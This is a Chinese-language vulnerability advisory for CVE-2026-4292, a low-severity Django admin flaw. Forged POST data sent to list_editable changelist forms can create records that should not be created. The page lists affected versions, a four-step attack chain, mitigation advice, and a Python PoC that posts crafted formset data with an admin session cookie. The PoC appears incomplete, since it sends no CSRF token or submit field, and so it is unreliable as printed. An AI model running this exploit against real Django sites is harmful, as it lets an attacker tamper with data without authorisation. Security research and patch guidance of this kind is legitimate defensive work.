CVE-2026-4292 CVSS 2.7 低危

CVE-2026-4292 Django权限绕过漏洞

披露日期: 2026-04-07

来源: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

漏洞信息

漏洞编号

CVE-2026-4292

漏洞类型

权限绕过

CVSS评分

2.7 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Django

漏洞概述

Django 6.0.4、5.2.13和4.2.30之前的版本存在安全漏洞。使用`ModelAdmin.list_editable`的管理员变更列表表单可通过伪造的POST数据错误地创建新实例，导致潜在的权限绕过风险。

技术细节

该漏洞源于Django框架在处理管理员后台`ModelAdmin.list_editable`功能时的输入验证逻辑缺陷。在受影响版本中，当管理员使用`list_editable`属性在变更列表视图中直接编辑字段时，系统未能严格区分“编辑现有记录”与“创建新记录”的请求边界。攻击者利用高权限账户，通过篡改HTTP POST请求包，移除或伪造代表对象ID的主键参数（如`id`字段），能够欺骗Django的ORM系统将请求误判为新建操作。尽管攻击者需要管理员权限，但这仍构成了逻辑上的权限绕过，可能被滥用以绕过特定的业务审批流程或创建不应存在的关联数据，破坏数据的完整性和一致性。

攻击链分析

STEP 1

1. 获取权限

攻击者需要通过合法或非法手段获取Django管理员账户的高权限（PR:H）。

STEP 2

2. 识别目标

扫描目标站点，确认Django版本，并识别启用了`list_editable`功能的管理员变更列表页面。

STEP 3

3. 构造请求

构造特制的HTTP POST请求，包含Formset数据，但故意移除或伪造对象ID字段。

STEP 4

4. 执行攻击

发送请求至服务器，欺骗后端利用`list_editable`逻辑创建未授权的新数据实例。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target Django Admin Changelist URL
target_url = 'http://target-domain.com/admin/myapp/mymodel/'

# Admin session cookie (Required PR:H)
admin_cookies = {'sessionid': 'valid_admin_session_id'}

# Forged POST data to exploit list_editable
# Omitting the ID field 'form-0-id' to trigger creation in vulnerable versions
payload_data = {
    'form-TOTAL_FORMS': '1',
    'form-INITIAL_FORMS': '0',
    'form-MIN_NUM_FORMS': '0',
    'form-MAX_NUM_FORMS': '1000',
    # The field marked as list_editable in ModelAdmin
    'form-0-protected_field': 'Malicious Data Injection',
}

try:
    response = requests.post(target_url, data=payload_data, cookies=admin_cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check database for new instance.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

影响范围

Django 6.0 < 6.0.4

Django 5.2 < 5.2.13

Django 4.2 < 4.2.30

Django 5.0.x (未评估，可能受影响)

Django 4.1.x (未评估，可能受影响)

Django 3.2.x (未评估，可能受影响)

防御指南

临时缓解措施

建议立即升级至Django官方发布的安全修复版本。若暂时无法升级，应严格限制管理员后台的访问权限，并监控异常的数据创建操作，排查是否存在受影响的`list_editable`配置。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表